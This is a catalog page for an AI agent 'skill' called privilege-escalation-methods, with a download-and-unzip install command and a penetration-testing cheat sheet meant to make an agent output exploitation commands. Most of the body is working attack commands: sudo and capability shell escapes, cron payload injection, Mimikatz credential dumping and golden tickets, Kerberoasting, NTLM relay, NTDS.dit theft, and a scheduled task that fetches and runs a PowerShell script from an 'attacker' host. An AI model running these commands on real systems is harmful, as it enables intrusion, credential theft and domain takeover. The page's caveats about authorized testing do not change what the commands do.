PR

privilege-escalation-methods

Provides guidance on escalating from low-privilege user to root or administrator access during post-exploitation.

Install

mkdir -p .claude/skills/privilege-escalation-methods && curl -L -o skill.zip "https://agentskills.codes/api/skills/download/3432" && unzip -o skill.zip -d .claude/skills/privilege-escalation-methods && rm skill.zip

Installs to .claude/skills/privilege-escalation-methods

Activation

This is the description your AI agent reads to decide when to run this skill — the better it matches your request, the more reliably it fires.

This skill should be used when the user asks to "escalate privileges", "get root access", "become administrator", "privesc techniques", "abuse sudo", "exploit SUID binaries", "Kerberoasting", "pass-the-ticket", "token impersonation", or needs guidance on post-exploitation privilege escalation for Linux or Windows systems.
323 chars✓ has a “when” triggerlonger than Claude Code's old 250-char listing cap (fine on current versions)
Advanced

Key capabilities

  • Identifies writable cron scripts for privilege escalation
  • Maps SUID binaries to corresponding GTFOBins exploitation paths
  • Extracts capability misconfigurations from system files
  • Guides credential extraction via shell post-exploitation

How it works

It systematically queries system permission layers like sudoers, cron, and binary capabilities to identify misconfigurations that allow escalation to root.

Inputs & outputs

You give it
System OS type and target binary path
You get back
Exploitation command sequences for privilege escalation

When to use privilege-escalation-methods

  • Perform Linux privilege escalation using sudo misconfigurations
  • Analyze scheduled tasks for exploitation opportunities
  • Guide post-exploitation on Windows or Linux

About this skill

Privilege Escalation Methods

Purpose

Provide comprehensive techniques for escalating privileges from a low-privileged user to root/administrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations.

Inputs/Prerequisites

  • Initial low-privilege shell access on target system
  • Kali Linux or penetration testing distribution
  • Tools: Mimikatz, PowerView, PowerUpSQL, Responder, Impacket, Rubeus
  • Understanding of Windows/Linux privilege models
  • For AD attacks: Domain user credentials and network access to DC

Outputs/Deliverables

  • Root or Administrator shell access
  • Extracted credentials and hashes
  • Persistent access mechanisms
  • Domain compromise (for AD environments)

Core Techniques

Linux Privilege Escalation

1. Abusing Sudo Binaries

Exploit misconfigured sudo permissions using GTFOBins techniques:

# Check sudo permissions
sudo -l

# Exploit common binaries
sudo vim -c ':!/bin/bash'
sudo find /etc/passwd -exec /bin/bash \;
sudo awk 'BEGIN {system("/bin/bash")}'
sudo python -c 'import pty;pty.spawn("/bin/bash")'
sudo perl -e 'exec "/bin/bash";'
sudo less /etc/hosts    # then type: !bash
sudo man man            # then type: !bash
sudo env /bin/bash

2. Abusing Scheduled Tasks (Cron)

# Find writable cron scripts
ls -la /etc/cron*
cat /etc/crontab

# Inject payload into writable script
echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh
chmod +x /home/user/systemupdate.sh

# Wait for execution, then:
/bin/bash -p

3. Abusing Capabilities

# Find binaries with capabilities
getcap -r / 2>/dev/null

# Python with cap_setuid
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Perl with cap_setuid
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'

# Tar with cap_dac_read_search (read any file)
/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa
/usr/bin/tar -xvf key.tar

4. NFS Root Squashing

# Check for NFS shares
showmount -e <victim_ip>

# Mount and exploit no_root_squash
mkdir /tmp/mount
mount -o rw,vers=2 <victim_ip>:/tmp /tmp/mount
cd /tmp/mount
cp /bin/bash .
chmod +s bash

5. MySQL Running as Root

# If MySQL runs as root
mysql -u root -p
\! chmod +s /bin/bash
exit
/bin/bash -p

Windows Privilege Escalation

1. Token Impersonation

# Using SweetPotato (SeImpersonatePrivilege)
execute-assembly sweetpotato.exe -p beacon.exe

# Using SharpImpersonation
SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser

2. Service Abuse

# Using PowerUp
. .\PowerUp.ps1
Invoke-ServiceAbuse -Name 'vds' -UserName 'domain\user1'
Invoke-ServiceAbuse -Name 'browser' -UserName 'domain\user1'

3. Abusing SeBackupPrivilege

import-module .\SeBackupPrivilegeUtils.dll
import-module .\SeBackupPrivilegeCmdLets.dll
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit

4. Abusing SeLoadDriverPrivilege

# Load vulnerable Capcom driver
.\eoploaddriver.exe System\CurrentControlSet\MyService C:\test\capcom.sys
.\ExploitCapcom.exe

5. Abusing GPO

.\SharpGPOAbuse.exe --AddComputerTask --Taskname "Update" `
  --Author DOMAIN\<USER> --Command "cmd.exe" `
  --Arguments "/c net user Administrator Password!@# /domain" `
  --GPOName "ADDITIONAL DC CONFIGURATION"

Active Directory Attacks

1. Kerberoasting

# Using Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.100 -request

# Using CrackMapExec
crackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt

2. AS-REP Roasting

.\Rubeus.exe asreproast

3. Golden Ticket

# DCSync to get krbtgt hash
mimikatz# lsadump::dcsync /user:krbtgt

# Create golden ticket
mimikatz# kerberos::golden /user:Administrator /domain:domain.local `
  /sid:S-1-5-21-... /rc4:<NTLM_HASH> /id:500

4. Pass-the-Ticket

.\Rubeus.exe asktgt /user:USER$ /rc4:<NTLM_HASH> /ptt
klist  # Verify ticket

5. Golden Ticket with Scheduled Tasks

# 1. Elevate and dump credentials
mimikatz# token::elevate
mimikatz# vault::cred /patch
mimikatz# lsadump::lsa /patch

# 2. Create golden ticket
mimikatz# kerberos::golden /user:Administrator /rc4:<HASH> `
  /domain:DOMAIN /sid:<SID> /ticket:ticket.kirbi

# 3. Create scheduled task
schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `
  /TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"
schtasks /run /s DOMAIN /TN "enterprise"

Credential Harvesting

LLMNR Poisoning

# Start Responder
responder -I eth1 -v

# Create malicious shortcut (Book.url)
[InternetShortcut]
URL=https://facebook.com
IconIndex=0
IconFile=\\attacker_ip\not_found.ico

NTLM Relay

responder -I eth1 -v
ntlmrelayx.py -tf targets.txt -smb2support

Dumping with VSS

vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\

Quick Reference

TechniqueOSDomain RequiredTool
Sudo Binary AbuseLinuxNoGTFOBins
Cron Job ExploitLinuxNoManual
Capability AbuseLinuxNogetcap
NFS no_root_squashLinuxNomount
Token ImpersonationWindowsNoSweetPotato
Service AbuseWindowsNoPowerUp
KerberoastingWindowsYesRubeus/Impacket
AS-REP RoastingWindowsYesRubeus
Golden TicketWindowsYesMimikatz
Pass-the-TicketWindowsYesRubeus
DCSyncWindowsYesMimikatz
LLMNR PoisoningWindowsYesResponder

Constraints

Must:

  • Have initial shell access before attempting escalation
  • Verify target OS and environment before selecting technique
  • Use appropriate tool for domain vs local escalation

Must Not:

  • Attempt techniques on production systems without authorization
  • Leave persistence mechanisms without client approval
  • Ignore detection mechanisms (EDR, SIEM)

Should:

  • Enumerate thoroughly before exploitation
  • Document all successful escalation paths
  • Clean up artifacts after engagement

Examples

Example 1: Linux Sudo to Root

# Check sudo permissions
$ sudo -l
User www-data may run the following commands:
    (root) NOPASSWD: /usr/bin/vim

# Exploit vim
$ sudo vim -c ':!/bin/bash'
root@target:~# id
uid=0(root) gid=0(root) groups=0(root)

Example 2: Windows Kerberoasting

# Request service tickets
$ GetUserSPNs.py domain.local/jsmith:Password123 -dc-ip 10.10.10.1 -request

# Crack with hashcat
$ hashcat -m 13100 hashes.txt rockyou.txt

Troubleshooting

IssueSolution
sudo -l requires passwordTry other enumeration (SUID, cron, capabilities)
Mimikatz blocked by AVUse Invoke-Mimikatz or SafetyKatz
Kerberoasting returns no hashesCheck for service accounts with SPNs
Token impersonation failsVerify SeImpersonatePrivilege is present
NFS mount failsCheck NFS version compatibility (vers=2,3,4)

Additional Resources

For detailed enumeration scripts, use:

  • LinPEAS: Linux privilege escalation enumeration
  • WinPEAS: Windows privilege escalation enumeration
  • BloodHound: Active Directory attack path mapping
  • GTFOBins: Unix binary exploitation reference

When not to use it

  • Unauthorized environment testing
  • Production systems where instability could trigger critical failures

Prerequisites

Initial low-privilege shell accessTargeted penetration testing distribution

Limitations

  • Requires existing entry point on target system
  • Often triggers security monitoring alerts during execution

How it compares

It provides precise, context-aware command sequences for common misconfigurations instead of generic security advice.

Compared to similar skills

privilege-escalation-methods side by side with the closest alternatives in the catalog.

SkillInstallsUpdatedSafetyDifficulty
privilege-escalation-methods (this skill)16moReviewAdvanced
reverse-engineering-tools733moNo flagsAdvanced
game-hacking-techniques422moNo flagsAdvanced
solidity-security152moNo flagsIntermediate

Try saying

Example prompts that trigger this skill in your AI assistant.

software-architecture

davila7

Guide for quality focused software architecture. This skill should be used when users want to write code, design architecture, analyze code, in any case that relates to software development.

333868

planning-with-files

davila7

Implements Manus-style file-based planning for complex tasks. Creates task_plan.md, findings.md, and progress.md. Use when starting complex multi-step tasks, research projects, or any task requiring >5 tool calls.

233106

telegram-bot-builder

davila7

Expert in building Telegram bots that solve real problems - from simple automation to complex AI-powered bots. Covers bot architecture, the Telegram Bot API, user experience, monetization strategies, and scaling bots to thousands of users. Use when: telegram bot, bot api, telegram automation, chat bot telegram, tg bot.

106130

scroll-experience

davila7

Expert in building immersive scroll-driven experiences - parallax storytelling, scroll animations, interactive narratives, and cinematic web experiences. Like NY Times interactives, Apple product pages, and award-winning web experiences. Makes websites feel like experiences, not just pages. Use when: scroll animation, parallax, scroll storytelling, interactive story, cinematic website.

101142

humanizer

davila7

Remove signs of AI-generated writing from text. Use when editing or reviewing text to make it sound more natural and human-written. Based on Wikipedia's comprehensive "Signs of AI writing" guide. Detects and fixes patterns including: inflated symbolism, promotional language, superficial -ing analyses, vague attributions, em dash overuse, rule of three, AI vocabulary words, negative parallelisms, and excessive conjunctive phrases. Credits: Original skill by @blader - https://github.com/blader/humanizer

90175

game-development

davila7

Game development orchestrator. Routes to platform-specific skills based on project needs.

70195

You might also like

reverse-engineering-tools

gmh5225

Guide for reverse engineering tools and techniques used in game security research. Use this skill when working with debuggers, disassemblers, memory analysis tools, binary analysis, or decompilers for game security research.

73204

game-hacking-techniques

gmh5225

Guide for game hacking techniques and cheat development. Use this skill when researching memory manipulation, code injection, ESP/aimbot development, overlay rendering, or game exploitation methodologies.

42128

solidity-security

wshobson

Master smart contract security best practices to prevent common vulnerabilities and implement secure Solidity patterns. Use when writing smart contracts, auditing existing contracts, or implementing security measures for blockchain applications.

15115

1password

openclaw

Set up and use 1Password CLI (op). Use when installing the CLI, enabling desktop app integration, signing in (single or multi-account), or reading/injecting/running secrets via op.

2799

senior-security

davila7

Comprehensive security engineering skill for application security, penetration testing, security architecture, and compliance auditing. Includes security assessment tools, threat modeling, crypto implementation, and security automation. Use when designing security architecture, conducting penetration tests, implementing cryptography, or performing security audits.

3191

ghidra

mitsuhiko

Reverse engineer binaries using Ghidra's headless analyzer. Decompile executables, extract functions, strings, symbols, and analyze call graphs without GUI.

16105

Search skills

Search the agent skills registry